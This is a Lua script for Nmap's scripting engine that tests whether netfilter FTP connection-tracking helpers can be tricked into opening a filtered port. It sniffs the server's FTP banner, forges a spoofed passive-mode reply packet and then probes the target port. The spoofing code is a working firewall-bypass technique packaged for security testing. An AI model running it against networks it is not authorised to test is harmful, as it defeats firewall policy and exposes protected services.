local nmap = require "nmap"
local stdnse = require "stdnse"
local bit = require "bit"
local string = require "string"
local packet = require "packet"
description = [[
Detects a vulnerability in netfilter and other firewalls that use helpers to dynamically open ports for protocols such as ftp and sip.
The script works by spoofing a packet from the target server asking for opening a related connection to a target port which will be
fulfilled by the firewall through the adequate protocol helper port. The attacking machine should be on the same network segment as the
firewall for this to work. The script supports ftp helper on both IPv4 and IPv6. Real path filter is used to prevent such attacks.
Based on work done by Eric Leblond.
For more information, see:
* http://home.regit.org/2012/03/playing-with-network-layers-to-bypass-firewalls-filtering-policy/
]]
---
-- @args firewall-bypass.helper The helper to use. Defaults to <code>ftp</code>.
-- Supported helpers: ftp (Both IPv4 and IPv6).
--
-- @args firewall-bypass.helperport If not using the helper's default port.
--
-- @args firewall-bypass.targetport Port to test vulnerability on. Target port should be a
-- non-open port. If not given, the script will try to find a filtered or closed port from
-- the port scan results.
--
-- @usage
-- nmap --script firewall-bypass <target>
-- nmap --script firewall-bypass --script-args firewall-bypass.helper="ftp", firewall-bypass.targetport=22 <target>
--
-- @output
-- Host script results:
-- | firewall-bypass:
-- |_ Firewall vulnerable to bypass through ftp helper. (IPv4)
author = "Hani Benhabiles"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
ftp_helper = {
should_run = function(host, helperport)
local helperport = helperport or 21
-- IPv4 and IPv6 are supported
if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
return false
end
-- Test if helper port is open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, helperport)
testsock:close()
if not status then
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport)
return false
end
return true
end,
attack = function(host, helperport, targetport)
local ethertype, payload
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
if isIp4 then
-- IPv4 payload
payload = "227 Entering Passive Mode (" ..
string.gsub(host.ip,"%.",",") .. "," ..
bit.band(bit.rshift(targetport, 8), 0xff) ..
"," .. bit.band(targetport, 0xff) ..
")\r\n"
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
else
-- IPv6 payload
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
end
helperport = helperport or 21
local function spoof_ftp_packet(host, helperport, targetport)
-- Sniffs the network for src host host.ip and src port helperport
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
local status, l2data, l3data
local timeout = 1000
local start = nmap.clock_ms()
-- Start sniffing
local sniffer = nmap.new_socket()
sniffer:set_timeout(100)
sniffer:pcap_open(host.interface, 256, true, filter)
-- Until we get adequate packet
while (nmap.clock_ms() - start) < timeout do
local _
status, _, l2data, l3data = sniffer:pcap_receive()
if status and string.find(l3data, "220 ") then
break
end
end
-- Get ethernet values
local f = packet.Frame:new(l2data)
f:ether_parse()
local p = packet.Packet:new(l3data, #l3data)
if isIp4 then
if not p:ip_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
else
if not p:ip6_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
end
-- Spoof packet
-- 1. Invert ethernet addresses
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
-- 2. Modify packet payload
p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
-- 3. Increment IP ID field (IPv4 packets)
if isIp4 then
p:ip_set_id(p.ip_id + 1)
end
-- 4. Set TCP sequence number correctly using traffic data
p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
-- 5. Update all checksums and lengths
if isIp4 then
-- Packet length field
p:ip_set_len(#p.buf)
p:ip_count_checksum()
else
-- Payload length field
p:ip6_set_plen(#p.buf - p.tcp_offset)
end
p:tcp_count_checksum()
-- and finally, we send it.
local dnet = nmap.new_dnet()
dnet:ethernet_open(host.interface)
dnet:ethernet_send(f.frame_buf .. p.buf)
status = sniffer:pcap_receive()
dnet:ethernet_close()
return true
end
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
-- Wait for packet spoofing thread
stdnse.sleep(1)
-- Make connection to the target while packet the spoofing thread is sniffing for packets
local socket = nmap.new_socket()
socket:set_timeout(3000)
local status, _ = socket:connect(host.ip, helperport)
if not status then
-- Problem connecting to helper port
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
return
end
-- wait packet spoofing thread to finish
stdnse.sleep(1.5)
socket:close()
return
end,
}
-- List of helpers
local helpers = {
ftp = ftp_helper, -- FTP (IPv4 and IPv6)
}
local helper
hostrule = function(host)
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME )
nmap.registry[SCRIPT_NAME].rootfail = true
end
return false
end
if not host.interface then
return false
end
if helper and not helpers[helper] then
stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper)
return false
end
return true
end
action = function(host, port)
local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
local helpername
if targetport then
-- We should check if target port is not already open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
if status then
stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
return nil
end
testsock:close()
else
-- If not target port specified, we try to get a filtered port,
-- which would be more likely blocked by a firewall before looking for a closed one.
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
if port then
targetport = port.number
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
else
-- No closed or filtered ports to check on.
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
return
end
end
-- If helper chosen by user
if helper then
if helpers[helper].should_run(host, helperport) then
helpers[helper].attack(host, helperport, targetport)
else
return
end
-- If no helper chosen manually, we iterate over table to find a suitable one.
else
for i, helper in pairs(helpers) do
if helper.should_run(host, helperport) then
helpername = i
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
helper.attack(host, helperport, targetport)
break
end
end
if not helpername then
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
return nil
end
end
-- Then we check if target port is now open.
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
testsock:close()
if status then
-- If we could connect, then port is open and firewall is vulnerable.
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
return stdnse.format_output(true, vulnstring)
end
end
@KyuuKazami